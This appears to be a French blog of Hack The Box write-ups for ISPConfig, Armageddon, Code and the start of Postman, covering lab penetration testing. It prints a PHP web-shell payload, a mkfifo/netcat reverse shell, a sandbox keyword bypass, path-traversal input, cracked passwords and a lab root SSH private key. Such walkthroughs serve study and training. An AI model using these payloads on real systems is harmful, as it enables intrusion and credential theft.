On découvre une page web “ISPConfig” On peut se connecter au compte “admin” avec le mot de passe de tobias “slowmotionapocalypse”. On trouve un dashboard et on identifie la version “3.2.10p1”.

Exploit : Authenticated RCE ISPConfig

Avec searchsploit, on ne trouve que d’anciennes vulnérabilités. Cependant, sur google on trouve un lien vers un POC qui semble plus récent : https://packetstorm.news/files/id/176126

“ISPConfig versions 3.2.11 and below suffer from a PHP code injection vulnerability in language_edit.php.”

On observe ici le parametre “lang_file” qui est injectable.

1
2


curl_setopt($ch, CURLOPT_URL, "{$url}admin/language_edit.php");
curl_setopt($ch, CURLOPT_POSTFIELDS, "lang=en&module=help&lang_file={$lang_file}");

En utilisant le POC, et les credentials admin, on obtient directement un shell en tant que root :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77


» php exploit.php http://localhost:8888/ admin slowmotionapocalypse
------------------------------------------------------------------------
ISPConfig <= 3.2.11 (language_edit.php) PHP Code Injection Vulnerability
------------------------------------------------------------------------


[-] Software Link:

https://www.ispconfig.org


[-] Affected Versions:

Version 3.2.11 and prior versions.


[-] Vulnerabilities Description:

User input passed through the "records" POST parameter to
/admin/language_edit.php is not properly sanitized before being used
to dynamically generate PHP code that will be executed by the
application. This can be exploited by malicious administrator users to
inject and execute arbitrary PHP code on the web server.


[-] Proof of Concept:

https://karmainsecurity.com/pocs/CVE-2023-46818.php
(Packet Storm Editor Note: See bottom of this file for PoC)


[-] Solution:

Upgrade to version 3.2.11p1 or later.


[-] Disclosure Timeline:

[25/10/2023] - Vendor notified
[26/10/2023] - Version 3.2.11p1 released
[27/10/2023] - CVE identifier assigned
[07/12/2023] - Publication of this advisory


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2023-46818 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

https://karmainsecurity.com/KIS-2023-13


[-] Other References:

https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/



--- CVE-2023-46818.php PoC ---

[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell

ispconfig-shell# whoami
root

ispconfig-shell# cat /root/root.txt
9b18.....21bf

Tips

J’ai découvert qu’on pouvait vérifier facilement si un utilisateur existait en faisant une requete specifique. J’ai meme pensé à faire un Fuzz, eventuellement avec Burp Sniper ou un autre outil. Je n’ai pas essayé et je suis aller voir le write up… C’était bien ça la solution…
Lorsqu’on trouve une entrée utilisateur injectable, toujours faire des tests dans BURP !! Ou avec curl (à la rigueur). Mais jamais directement sur la page web. Ici, il fallait utilisé %0a pour remplacer un caractère espace. Le problème c’est que ca n’a pas fonctionné car c’était remplacé par “%XX%XX” avec d’autre valeur a cause de l’URL encoding. Attention donc a bien testé les parametres injectables directement dans BURP pour eviter qu’il y ait un URL encoding qui s’applique sans qu’on le sache.

HTB | Armageddon

Mon, 07 Apr 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Armageddon	Linux	10.10.10.79	Easy

Users

1
2


drupaluser : CQHEy@9M*m23gBVj
brucetherealadmin

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


┌──(kali㉿kali)-[~/htb/Armageddon]
└─$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.233
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC2xdFP3J4cpINVArODYtbhv+uQNECQHDkzTeWL+4aLgKcJuIoA8dQdVuP2UaLUJ0XtbyuabPEBzJl3IHg3vztFZ8UEcS94KuWP09ghv6fhc7JbFYONVJTYLiEPD8nrS/V2EPEQJ2ubNXcZAR76X9SZqt11JTyQH/s6tPH+m3m/84NUU8PNb/dyhrFpCUmZzzJQ1zCDStLXJnCAOE7EfW2wNm1CBPCXn1wNvO3SKwokCm4GoMKHSM9rNb9FjGLIY0nq+8mt7RTJZ+WLdHsje3AkBk1yooGFF+0TdOj42YK2OtAKDQBWnBm1nqLQsmm/Va9T2bPYLLK5aUd4/578u7h
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBE4kP4gQ5Th3eu3vz/kPWwlUCm+6BSM6M3Y43IuYVo3ppmJG+wKiabo/gVYLOwzG7js497Vr7eGIgsjUtbIGUrY=
| 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG9ZlC3EA13xZbzvvdjZRWhnu9clFOUe7irG8kT0oR4A
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-robots.txt: 36 disallowed entries
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
| /LICENSE.txt /MAINTAINERS.txt /update.php /UPGRADE.txt /xmlrpc.php
| /admin/ /comment/reply/ /filter/tips/ /node/add/ /search/
| /user/register/ /user/password/ /user/login/ /user/logout/ /?q=admin/
| /?q=comment/reply/ /?q=filter/tips/ /?q=node/add/ /?q=search/
|_/?q=user/password/ /?q=user/register/ /?q=user/login/ /?q=user/logout/
|_http-title: Welcome to Armageddon | Armageddon
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D

Foothold

Drupal 7.56

On remarque dans le code source la version du framework utilisé : Drupal 7.

On trouve le dossier: http://10.10.10.233/scripts/ Les scripts datent du 21 juin 2017.

En regardant les releases de Drupal sur github, on découvre que la version Drupal 7.56 est sortie précisement à cette date : https://github.com/drupal/drupal/releases/tag/7.56

Avec searchsploit, on trouve une RCE (sans authentification préalable) :

1
2
3
4
5
6
7
8


┌──(kali㉿kali)-[~/htb/Armageddon]
└─$ searchsploit drupal 7.56
--------------------------------------------------------------- ---------------------------------
 Exploit Title | Path
--------------------------------------------------------------- ---------------------------------
...
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
...

Output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


┌──(kali㉿kali)-[~/htb/Armageddon]
└─$ ruby drupalggedon2.rb http://10.10.10.233
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.10.10.233/
--------------------------------------------------------------------------------
[+] Found : http://10.10.10.233/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.56
--------------------------------------------------------------------------------
[*] Testing: Form (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn't an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution (Method: name)
[i] Payload: echo YAQXUKKI
[+] Result : YAQXUKKI
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file (http://10.10.10.233/shell.php)
[!] Response: HTTP 200 // Size: 6. ***Something could already be there?***
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell: curl 'http://10.10.10.233/shell.php' -d 'c=hostname'
armageddon.htb>> whoami
apache

Mysql Database

On trouve dans un fichier settings.php les creds pour la base de donnée mysql de Drupal.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


$databases = array (
 'default' =>
 array (
 'default' =>
 array (
 'database' => 'drupal',
 'username' => 'drupaluser',
 'password' => 'CQHEy@9M*m23gBVj',
 'host' => 'localhost',
 'port' => '',
 'driver' => 'mysql',
 'prefix' => '',
 ),
 ),
);

Getting hashes from bruce and admin

Toujours depuis le shell obtenu avec l’exploit (pas interfactif ! Mais assez stable). On récupère le hachage de bruce et admin :

1
2
3
4


armageddon.htb>> mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e "SELECT * FROM users"
uid name pass mail theme signature signature_format created access login status timezone language picture init data
0 NULL 0 0 0 0 NULL 0 NULL
1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu filtered_html 1606998756 1607077194 1607076276 1 Europe/London 0 admin@armageddon.eu a:1:{s:7:"overlay";i:1;}

Cracking hashes of bruce (user.txt)

On le crack avec hashcat :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


hashcat ./hash.txt ~/wordlists/rockyou.txt --show
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

7900 | Drupal7 | Forums, CMS, E-Commerce

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo

On se connecte en ssh à l’utilisateur brucetherealadmin :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


┌──(kali㉿kali)-[~/htb/Armageddon]
└─$ ssh brucetherealadmin@10.10.10.233
brucetherealadmin@10.10.10.233's password:
Last failed login: Thu Apr 3 22:28:06 BST 2025 from 10.10.14.17 on ssh:notty
There were 3 failed login attempts since the last successful login.
Last login: Fri Mar 19 08:01:19 2021 from 10.10.14.5
[brucetherealadmin@armageddon ~]$
[brucetherealadmin@armageddon ~]$ whoami
brucetherealadmin
[brucetherealadmin@armageddon ~]$ cat user.txt
f0f8.....bbcc

Privilege Escalation

snap install as root

Il faut faire sudo -l. On observe qu’on peut executer “snap install” en tant que root. C’est à dire que l’on peut installer n’importe quel package snap en tant que root. Or, j’ai pu créer un packet vérolé qui s’installe et s’execute lors de l’installation, permettant l’ouverture d’un shell en tant que root.

HTB | Code

Wed, 26 Mar 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Code	Linux	10.10.11.62	Easy

Users

1
2


martin:nafeelswordsmaster
development:development

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


┌──(kali㉿kali)-[~/htb]
└─$ nmap -sC -sV -An -p- -vvv -T4 10.10.11.62
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrE0z9yLzAZQKDE2qvJju5kq0jbbwNh6GfBrBu20em8SE/I4jT4FGig2hz6FHEYryAFBNCwJ0bYHr3hH9IQ7ZZNcpfYgQhi8C+QLGg+j7U4kw4rh3Z9wbQdm9tsFrUtbU92CuyZKpFsisrtc9e7271kyJElcycTWntcOk38otajZhHnLPZfqH90PM+ISA93hRpyGyrxj8phjTGlKC1O0zwvFDn8dqeaUreN7poWNIYxhJ0ppfFiCQf3rqxPS1fJ0YvKcUeNr2fb49H6Fba7FchR8OYlinjJLs1dFrx0jNNW/m3XS3l2+QTULGxM5cDrKip2XQxKfeTj4qKBCaFZUzknm27vHDW3gzct5W0lErXbnDWQcQZKjKTPu4Z/uExpJkk1rDfr3JXoMHaT4zaOV9l3s3KfrRSjOrXMJIrImtQN1l08nzh/Xg7KqnS1N46PEJ4ivVxEGFGaWrtC1MgjMZ6FtUSs/8RNDn59Pxt0HsSr6rgYkZC2LNwrgtMyiiwyas=
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDiXZTkrXQPMXdU8ZTTQI45kkF2N38hyDVed+2fgp6nB3sR/mu/7K4yDqKQSDuvxiGe08r1b1STa/LZUjnFCfgg=
| 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8Cwf2cBH9EDSARPML82QqjkV811d+Hsjrly11/PHfu
5000/tcp open http syn-ack Gunicorn 20.0.4
|_http-title: Python Code Editor
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Foothold

Python sandbox (port 5000)

Sur le port 5000, on trouve une sandbox, permettant d’executer du code Python. Cependant, après quelques tests on remarque que certains mot-clés sont interdits, empêchant l’execution de certaines commandes.

Restricted keywords

J’ai fait une liste au fur et a mesure des keywords non acceptés

1
2
3
4
5
6
7


## Restricted keywords
import
os
read
popen
open
__builtins__

app-production reverse shell

J’ai finalement réussi à bypasser la restriction en trouvant les mots clés permettant une execution de code à distance :

1
2
3
4
5
6
7
8
9


## On bypass la restriction sur le mot clé "os"
lib = globals()["o"+"s"]

## on bypass la restriction sur le mot clé "system"
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.4 1337 >/tmp/f"
getattr(lib, "syst" + "em")(cmd) # Exécuter la commande

## Affiche la liste des dossiers
print(lib.listdir("/home/app-production"))

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


┌──(kali㉿kali)-[~/htb/Code]
└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.62] 32960
bash: cannot set terminal process group (5014): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$ whoami
whoami
app-production
app-production@code:~/app$ cat ../user.txt
cat ../user.txt
8f81.....e49f

database.db : martin’s password

On trouve un fichier database.db.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


app-production@code:~/app$ grep -rni pass
app.py:17: password = db.Column(db.String(80), nullable=False)
app.py:43: password = hashlib.md5(request.form['password'].encode()).hexdigest()
app.py:48: new_user = User(username=username, password=password)
app.py:60: password = hashlib.md5(request.form['password'].encode()).hexdigest()
app.py:61: user = User.query.filter_by(username=username, password=password).first()
...
...
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>
Binary file instance/database.db matches
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>

On trouve rapidement un hachage du mot de passe de martin, en affichant directement database.db sans meme passer par sqlite.

1
2
3
4
5
6


app-production@code:~/app$ grep -rnia martin
## 3de6f30c4a09c27fc71932bfc68474be <-----------
���QQR*Mmartin3de6f30c4a09c27fc71932bfc68474be/#Mdevelopment759b74ce43947f5f4c91aeddc3e5bad3
���&$nceCprint("Functionality test")Testent
$ hashcat -m 0 hash.txt --wordlist ~/wordlists/rockyou.txt --show
3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster

development account :

1
2


$ hashcat -m 0 hash2.txt --wordlist ~/wordlists/rockyou.txt --show
759b74ce43947f5f4c91aeddc3e5bad3:development

Privilege Escalation

Enumeration with martin

Martin peut executer en tant que root le script /usr/bin/backy.sh :

1
2
3
4
5
6
7


martin@code:/home/app-production/app$ sudo -l
Matching Defaults entries for martin on localhost:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
 (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

Exploit : /usr/bin/backy.sh

On met “….” au lieu de “..” et “//” au lieu de “/” car il remplace “../” quand il le voit. mais quand on eneleve “../” dans mon cas, ca reconstruit un autre “../” ! Donc ca marche.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


martin@code:~$ cat t.json
{
 "destination": "/home/martin/backups/",
 "multiprocessing": true,
 "verbose_log": false,
 "directories_to_archive": [
 "/home/....//root/root.txt"
 ],
 "exclude": [
 ".*"
 ]
}

------------------------------------
## En remplacant par ca, on archive bien le dossier root
martin@code:~$ cat task.json
{
 "destination": "/home/martin/backups/",
 "multiprocessing": true,
 "verbose_log": false,
 "directories_to_archive": [
 "/home/....//root",
 "/var/....//root"
 ]
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


martin@code:~$ sudo /usr/bin/backy.sh ./task.json
2025/03/26 11:09:19 🍀 backy 1.2
2025/03/26 11:09:19 📋 Working with ./task.json ...
2025/03/26 11:09:19 💤 Nothing to sync
2025/03/26 11:09:19 📤 Archiving: [/home/../root /var/../root]
2025/03/26 11:09:19 📥 To: /home/martin/backups ...
2025/03/26 11:09:19 📦
2025/03/26 11:09:19 📦 📦


martin@code:~/backups$ tar -xjf code_var_.._root_2025_March.tar.bz2
martin@code:~/backups$ ls
code_home_app-production_app_2024_August.tar.bz2 code_home_.._root_2025_March.tar.bz2 code_var_.._root_2025_March.tar.bz2 root task.json
martin@code:~/backups$ cd root/
martin@code:~/backups/root$ ls
root.txt scripts
martin@code:~/backups/root$ cat root.txt
80a6.....33d8

SSH root

on récupère aussi les clés ssh de root :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


martin@code:~/backups/root$ cd .ssh/
martin@code:~/backups/root/.ssh$ ls
authorized_keys id_rsa
martin@code:~/backups/root/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
hdENGN+hVCh//jFwAAAAlyb290QGNvZGU=
-----END OPENSSH PRIVATE KEY-----
martin@code:~/backups/root/.ssh$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/E/D3RVElqOCSPDFmpevzrlXwd78c0dWWGnQI/fo6wpKLQPMhngqyp+NOL9YBFzEtN7iWRVJUhXbkvLkzoR6ZZ44oDq9040/RBS/oXXGPx/h4KGt2nsE6FF7T7NYmdrx1gy25HYrQLFt136q8zuhAs9F6VAjLGhHi6eHrA6gh/gQvfhoS9AO7H7cawVSdPhgw2WMCzHJUWfebNHudRnwEAf9j3FX8q41I8PhKVWoGJSNQp+zbAPeCMsDhlBl4zmEAlKZV5mOl+RA50T774fy3Y/yoaWhsu9uhknauCFj0LCKZfT+DS4e9ylcBzpTwkmqj1TjVbOigCLpNbFZht07eaMmGbSy6cKKjnFO1zjgzSduGRFAGWI+eBoFiV4p2+0aJw8lvUu2O0TmUenL40+zUHgQjH5mUFVoVshqrGmoNUNQK/SqlrEgqHH+UqbBeJYRAiJ7R9eissOqyMvvkzu1j+78zvEG4aX4scY0GcKy+Mu8gDp8v325X4FMqukeGBX0= root@code

On se connecte en utilisant la cle id_rsa recupere precedemment.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


┌──(kali㉿kali)-[~/htb/Code]
└─$ ssh root@10.10.11.62 -i id_rsa
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/pro

 System information as of Wed 26 Mar 2025 12:38:11 PM UTC

 System load: 0.06
 Usage of /: 52.2% of 5.33GB
 Memory usage: 18%
 Swap usage: 0%
 Processes: 237
 Users logged in: 1
 IPv4 address for eth0: 10.10.11.62
 IPv6 address for eth0: dead:beef::250:56ff:fe94:61f7


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Mar 26 12:38:11 2025 from 10.10.14.4
root@code:~# whoami
root
root@code:~# cat root.txt
80a6.....33d8

HTB | Postman

Thu, 13 Mar 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Postman	Linux	10.10.10.160	Easy

Users

1
2


## SSH key pass phrase
matt : computer2008

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


┌──(kali㉿kali)-[~/htb/Postman]
└─$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.160

PORTSTATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDem1MnCQG+yciWyLak5YeSzxh4HxjCgxKVfNc1LN+vE1OecEx+cu0bTD5xdQJmyKEkpZ+AVjhQo/esF09a94eMNKcp+bhK1g3wqzLyr6kwE0wTncuKD2bA9LCKOcM6W5GpHKUywB5A/TMPJ7UXeygHseFUZEa+yAYlhFKTt6QTmkLs64sqCna+D/cvtKaB4O9C+DNv5/W66caIaS/B/lPeqLiRoX1ad/GMacLFzqCwgaYeZ9YBnwIstsDcvK9+kCaUE7g2vdQ7JtnX0+kVlIXRi0WXta+BhWuGFWtOV0NYM9IDRkGjSXA4qOyUOBklwvienPt1x2jBrjV8v3p78Tzz
| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIRgCn2sRihplwq7a2XuFsHzC9hW+qA/QsZif9QKAEBiUK6jv/B+UxDiPJiQp3KZ3tX6Arff/FC0NXK27c3EppI=
| 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3FKsLVdJ5BN8bLpf80Gw89+4wUslxhI3wYfnS+53Xd
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF
|_http-title: The Cyber Geek's Personal Website
|_http-server-header: Apache/2.4.29 (Ubuntu)
6379/tcp open redis syn-ack Redis key-value store 4.0.9
10000/tcp open http syn-ack MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 91549383E709F4F1DD6C8DAB07890301

Foothold

Redis server

1
2
3
4
5
6


$ nc 10.10.10.160 6379
info
$2729
## Server
redis_version:4.0.9
...

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


┌──(kali㉿kali)-[~]
└─$ nmap --script redis-info -sV -p 6379 10.10.10.160
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-13 08:55 EDT
Nmap scan report for postman (10.10.10.160)
Host is up (0.015s latency).

PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9 (64 bits)
| redis-info:
| Version: 4.0.9
| Operating System: Linux 4.15.0-58-generic x86_64
| Architecture: 64 bits
| Process ID: 656
| Used CPU (sys): 4.58
| Used CPU (user): 1.78
| Connected clients: 1
| Connected slaves: 0
| Used memory: 820.55K
| Role: master
